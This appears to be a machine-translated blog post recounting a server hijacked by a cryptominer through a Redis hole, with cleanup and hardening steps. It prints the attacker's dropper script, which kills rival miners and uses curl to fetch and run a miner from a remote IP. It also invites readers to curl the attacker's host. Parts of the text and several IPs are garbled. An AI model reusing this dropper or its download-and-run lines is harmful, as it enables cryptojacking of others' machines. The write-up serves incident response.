background

Online server is a cloud of information, happy and perfect running Tomcat, MySQL, MongoDB, ActiveMQ and other programs. Suddenly the news came from the front: the website was no longer accessible.

I was in charge of this project. I immediately opened the server with a hand speed of 150+, saw that Tomcat was suspended, and then restarted naturally. During the startup process, it was killed directly. Mechanism I hit a top, appear the following content:

Who runs this program? Kill it first because it is the cause of Tomcat and other programs failing to start. But it didn’t work, and later that thing came out again to occupy the CPU. Doubt is a timed task:

What the hell? It’s a picture? Immediately visited:

It was so embarrassing, but I knew it was not so simple, and I was sure it was just a disguise. Crul used to be the following script, and the process was mining:

#! /bin/sh pkill9 - 142.4124.164.
pkill 9 - 192.99. 56117.
pkill 9 - jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61186.224.
pkill -f 128.19986.57.
pkill -f 67.231243.10.
pkill -f 142.4124.164.
pkill -f 192.99. 56117.
pkill -f 45.76102.45.pkill -f AnXqV.yam pkill -f BI5zj pkill -f Carbon pkill -f Duck.sh pkill -f Guard.sh ... Omit /sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http:/ / 192.99.142.235:8220/1. Json
curl -o /var/tmp/suppoie http:/ / 192.99.142.235:8220 / rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1) /2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http:/ / 192.99.142.235:8220/1. Json
curl -o /var/tmp/suppoie http:/ / 192.99.142.235:8220 / rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1) /2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."
Copy the code

Interested students want to view the above complete source code, command line to run the following command (regardless of the operating system, convenient and safe pollution-free) :

curl 192.99142.235.:8220/logo3.jpg
Copy the code

Now that you know it’s a timed task, cancel it and see who’s running it:

Kill, find the directory:

Go to temporary directory:

I found the configuration file, let’s have a look at the contents:

Tiger body a shock, found a lot of information ah, user is his server login user, the following is the password, but unfortunately encrypted, should not find each other. You know what? I’ll let you go. Kill these two files and then look at top:

The solution

To find a parasitic directory, usually in TMP, in my case /var/tmp/. First kill crontab, kill the process, and then delete the generated file. Start Tomcat and other procedures, and you’re done!

Wait, that’s not enough. Considering that your server has already been hacked before it can be mined, fix the bug. Otherwise, when you kill the process and delete the file, the hacker gets back in and knows what you did when history hits.

Therefore, the above method treats the symptoms rather than the root cause, and I did the following follow-up work:

  • Update all software to the new version, fix the redis backdoor, configure the BIND option, limit the IP that can connect to the Redis server, and change the default redis port 6379. Configure AUTH and set the password, which is stored in the redis configuration file in plain text.
  • Change the default port numbers of all software
  • Run SSH /authorized_keys to delete unknown keys
  • Delete unfamiliar accounts from the user list
  • Blocked his IP
  • SSH uses a key to log in and disallows password logins (this is typically the secret key used to add and maintain a person)

Trojan horse cause, is caused by redis vulnerability:

Best way: host image, find out the virus Trojan horse, analysis of the reason for invasion. Check the business processes, reinstall the system, fix the bugs, and redeploy the system.

In the end, the user offers the ultimate solution for once and for all: put your own mining script up and running, so that others can’t run even if the script is up and running.

From: my.oschina.net/liughDevelo…